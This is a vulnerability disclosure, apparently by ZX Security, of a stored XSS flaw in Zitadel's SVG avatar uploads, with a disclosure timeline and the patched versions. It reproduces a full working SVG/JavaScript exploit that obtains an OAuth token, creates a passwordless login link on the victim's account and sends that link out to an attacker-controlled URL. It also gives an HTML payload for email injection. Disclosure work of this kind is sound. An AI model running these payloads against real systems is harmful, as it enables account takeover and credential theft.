Vulnerability Discovery
While testing a deployed Zitadel instance, it was discovered that SVG was a supported file type for user avatars. While Zitadel’s primary dashboard routes feature a fairly restrictive Content Security Policy (CSP) it was discovered that the route uploaded assets are served from contains no CSP. Further to this, assets are not served with a content disposition header. This header instructs clients to download the image rather then serving it from within the context of the web application domain.
After conducting further research it was discovered that JavaScript executed from within the context of the web applications domain was able to request a new OAuth key for authentication in subsequent requests. ZX Security combined the ability to request auth tokens along with Zitadel’s support for creating passwordless logins to generate a new passwordless login sign up link on the victims account and exfiltrate the generated URL to a maliciously controlled URL.
The ability to send emails with almost arbitrary content to any email address using the Zitadel platform was also discovered. This functionality would be an ideal way to deliver the stored XSS link to unsuspecting victims using a trusted medium. Zitadel considers email injection to be a known N day vulnerability.
Proof of Concepts
Silent account takeover
The following JavaScript payload can be used to send a “Sign up to passwordless login” link to a user controlled URL allowing for account takeover.
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<!-- Set the base Zitadel instance url -->
var base_url = "http://localhost:8080";
<!-- Set the client id for your Zitadel instance -->
var oauth_client_id = "..."
<!-- The URL that will receive the account takeover link -->
var exhil_url = "https://.../"
var code = "";
var access_token = "";
function fetch_oauth_details() {
var sent = 0;
var xhr = new XMLHttpRequest();
var url = base_url + "/oauth/v2/authorize?response_type=code&client_id=" + oauth_client_id +"&state=T2drNGVZLlphLVhYU2NzUkRLYlpQSktwMlE1SGYtUnVMc0VEdGJYRlRwVXlV%3B61129da7-26c7-4341-95a5-c5c856e4826d&redirect_uri="+encodeURIComponent(base_url)+"%2Fui%2Fconsole%2Fauth%2Fcallback&scope=openid%20profile%20email&code_challenge=borY93w_wZ0jpywgeFd5bhl-lxmBFRst35FuoVEX-gI&code_challenge_method=S256&nonce=T2drNGVZLlphLVhYU2NzUkRLYlpQSktwMlE1SGYtUnVMc0VEdGJYRlRwVXlV";
xhr.open("GET", url);
xhr.onreadystatechange = (e) => {
if (!sent) {
code = xhr.responseURL.match(/=([^&]+)/)[0].slice(1);
sent = 1;
generate_oauth_token();
}
}
xhr.send();
}
function generate_oauth_token() {
var sent = 0;
var xhr2 = new XMLHttpRequest();
xhr2.responseType = 'json';
var token_url = base_url + "/oauth/v2/token"
xhr2.open("POST", token_url);
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.onreadystatechange = (e) => {
if (!sent &&xhr2.response!=null) {
access_token = xhr2.response.access_token;
sent = 1;
generate_and_send_takeover_link();
}
}
xhr2.send("grant_type=authorization_code&code="+code+"&redirect_uri="+encodeURIComponent(base_url)+"%2Fui%2Fconsole%2Fauth%2Fcallback&code_verifier=UjZjZFN5SFFSfjk0SllQUmZDT2tqOWRZYUR4M0o4ZnpZV3NIc2hWQ3dBZE9i&client_id=" + oauth_client_id);
}
function generate_and_send_takeover_link() {
const password_http = new XMLHttpRequest();
const url_two = base_url + '/zitadel.auth.v1.AuthService/AddMyPasswordlessLink';
password_http.open("POST", url_two);
password_http.setRequestHeader('Content-type', 'application/grpc-web+proto');
password_http.setRequestHeader('Authorization', 'Bearer '+ access_token);
password_http.setRequestHeader('X-User-Agent', 'grpc-web-javascript/0.1');
password_http.setRequestHeader('X-Grpc-Web', '1');
password_http.onreadystatechange = (e) => {
if (password_http.readyState === 3) {
var variable = password_http.response;
<!-- Extract the passwordless auth setup link from the response -->
variable = variable.match("https?.*code=.{12}");
variable = variable[0];
const outbound_http = new XMLHttpRequest();
const url_three = exhil_url + btoa(variable);
outbound_http.open("GET", url_three);
outbound_http.send();
outbound_http.onreadystatechange = (e) => {
window.close()
}
}
}
password_http.send("\0\0\0\0\0");
}
fetch_oauth_details();
</script></svg>
This PoC could also be simplified to send the OAuth token to the malicious user rather then a passwordless sign up link.
Email injection
The following payload could be added into the “Family Name” field to remove the trailing email content:
</div></td></td></tbody><tbody style=display:none>
Any content in the first name and content in the family name fields before this HTML would become the only content in the email.
Potential Impact
Complete account takeover.
How To Fix
Update to the latest version of Zitadel.
It has been patched in the following versions:
- 2.28.2
- 2.39.2
Vulnerability Disclosure Timeline
- 12/10/2023 - XSS disclosed to vendor
- 13/10/2023 - Vendor response
- 13/10/2023 - Further disclosed email injection
- 16/10/2023 - Vendor responds citing email injection is an ‘n day’ and requests PoC showing possible impact of XSS
- 19/10/2023 - Silent account takeover PoC sent
- 19/10/2023 - Vendor acknowledges PoC and states they will look into it
- 25/10/2023 - Vendor still assessing the impact of the issue and relevant mitigation
- 26/10/2023 - Vendor fixed, released advisory and issued CVE